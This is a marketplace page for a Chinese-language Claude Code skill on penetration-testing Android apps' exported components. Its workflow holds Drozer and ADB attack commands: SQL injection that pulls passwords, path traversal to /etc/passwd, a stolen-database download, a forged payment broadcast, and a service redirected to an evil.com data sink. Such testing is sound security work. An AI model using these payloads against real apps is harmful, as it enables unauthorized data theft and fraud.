mcpField
T
testing-android-intents-for-vulnerabilities

testing-android-intents-for-vulnerabilities

github.com/mukul975安全35.2k153 次安装8 周前更新
代码仓库

关于 testing-android-intents-for-vulnerabilities

面向 Android 应用安全评估的技能,指导测试人员检查导出组件、Intent 和 IPC 漏洞。涵盖 Drozer、ADB 与 Frida 的测试流程;仅应在获授权的环境中使用。

主要功能

  1. 01枚举导出的 Android 组件
  2. 02测试 Activity、广播接收器和服务
  3. 03检查内容提供程序的数据暴露
  4. 04监控 PendingIntent 创建
  5. 05评估 Intent 注入与 IPC 风险

适用场景

  1. 01排查导出组件的未授权调用
  2. 02测试广播接收器的敏感数据泄露
  3. 03检查内容提供程序的查询注入
  4. 04评估 PendingIntent 和服务绑定风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-android-intents-for-vulnerabilities

安装后在 Claude Code 中输入/testing-android-intents-for-vulnerabilities确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

详细介绍

测试 Android Intent 漏洞

何时使用

在以下情况使用本技能:

  • 评估 Android 应用导出的 activity、service、receiver 和 content provider
  • 测试 intent 注入和未授权组件调用
  • 评估广播 receiver 的安全性以发现敏感数据暴露
  • 对 Android 应用执行以 IPC 为重点的渗透测试

请勿在未经明确授权的情况下在生产设备上使用。

前提条件

  • 已 root 的 Android 设备或带 ADB 的模拟器
  • 目标设备上已安装 Drozer agent(drozer agent.apk)
  • 宿主机上的 Drozer 控制台(pip install drozer)
  • 使用 apktool 反编译目标 APK 以分析 AndroidManifest.xml
  • 使用 Frida 进行运行时 intent 监控

工作流

步骤 1:枚举导出的组件
# Using Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app

# Output shows:
# X activities exported
# X broadcast receivers exported
# X content providers exported
# X services exported

# List exported activities
run app.activity.info -a com.target.app

# List exported services
run app.service.info -a com.target.app

# List exported receivers
run app.broadcast.info -a com.target.app

# List content providers
run app.provider.info -a com.target.app
步骤 2:测试导出的 Activity
# Launch exported activities directly
run app.activity.start --component com.target.app com.target.app.AdminActivity

# Launch with intent extras
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
  --extra string user_id 1337

# Test intent injection via data URI
adb shell am start -a android.intent.action.VIEW \
  -d "content://com.target.app/users/admin" com.target.app

# If admin activity opens without auth, report as authorization bypass
步骤 3:测试广播 Receiver
# Send broadcast to exported receivers
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
  --extra string amount "0.01" --extra string recipient "attacker"

# Sniff broadcasts for sensitive data
run app.broadcast.sniff --action com.target.app.USER_LOGIN

# Via ADB
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
  --es email "[email protected]"
步骤 4:测试 Content Provider
# Query content providers for data leakage
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"

# Test SQL injection in content providers
run app.provider.query content://com.target.app.provider/users \
  --selection "1=1) UNION SELECT username,password FROM users--"

# Test path traversal
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db

# Find injectable providers
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.app
步骤 5:测试 Pending Intent 漏洞
// Monitor PendingIntent creation via Frida
Java.perform(function() {
    var PendingIntent = Java.use("android.app.PendingIntent");

    PendingIntent.getActivity.overload("android.content.Context", "int",
        "android.content.Intent", "int").implementation =
        function(context, requestCode, intent, flags) {
            console.log("[PendingIntent] getActivity:");
            console.log("  Intent: " + intent.toString());
            console.log("  Flags: " + flags);

            // Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
            var FLAG_MUTABLE = 0x02000000;
            if ((flags & FLAG_MUTABLE) !== 0) {
                console.log("  [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
            }
            return this.getActivity(context, requestCode, intent, flags);
        };
});
步骤 6:测试 Service 绑定
# Attempt to bind to exported services
run app.service.start --action com.target.app.SYNC_SERVICE \
  --extra string server "https://evil.com/data_sink"

run app.service.send com.target.app com.target.app.MessengerService \
  --msg 1 0 0 --extra string command "dump_database" --bundle-as-obj

核心概念

术语定义
导出的组件设备上其他应用可访问的 Android 组件(activity/service/receiver/provider)
Intent用于向其他组件请求操作的消息对象;可以是显式的(指定目标)或隐式的(基于 action)
Pending Intent封装 intent 以供其他应用将来执行的令牌;可变的 PendingIntent 可被接收方修改
Content Provider用于在应用之间共享结构化数据的组件;如果查询参数未经过滤,则是 SQL 注入的目标
广播 Receiver接收系统或应用广播的组件;导出的 receiver 可被任何应用触发

工具与系统

  • Drozer:用于 IPC 测试的 Android 安全评估框架,带有预置模块
  • ADB:用于调用 intent、启动 activity 和发送广播的命令行工具
  • Frida:对 intent 处理和 PendingIntent 创建进行运行时监控
  • apktool:反编译 APK,以通过 AndroidManifest.xml 分析组件的导出状态
  • Intent Fuzzer:用于对导出组件的 intent 参数进行模糊测试的自动化工具

常见陷阱

  • android:exported 默认值在 API 31 中变更:带有 intent filter 的组件在 API 31 以下默认为 exported=true,但在 API 31+ 默认为 exported=false。请检查 targetSdkVersion。
  • 受权限保护的组件:导出的组件可能仍需要某项权限。请在具备和不具备所需权限的情况下分别测试。
  • 隐式 intent 与显式 intent:只有隐式 intent(基于 action)可被其他应用拦截。显式 intent(指定目标)是安全的。
  • 自定义权限:应用可以定义具有不同保护级别(normal、dangerous、signature)的自定义权限。signature 级别的权限只能授予使用相同证书签名的应用。

评论

支持 Markdown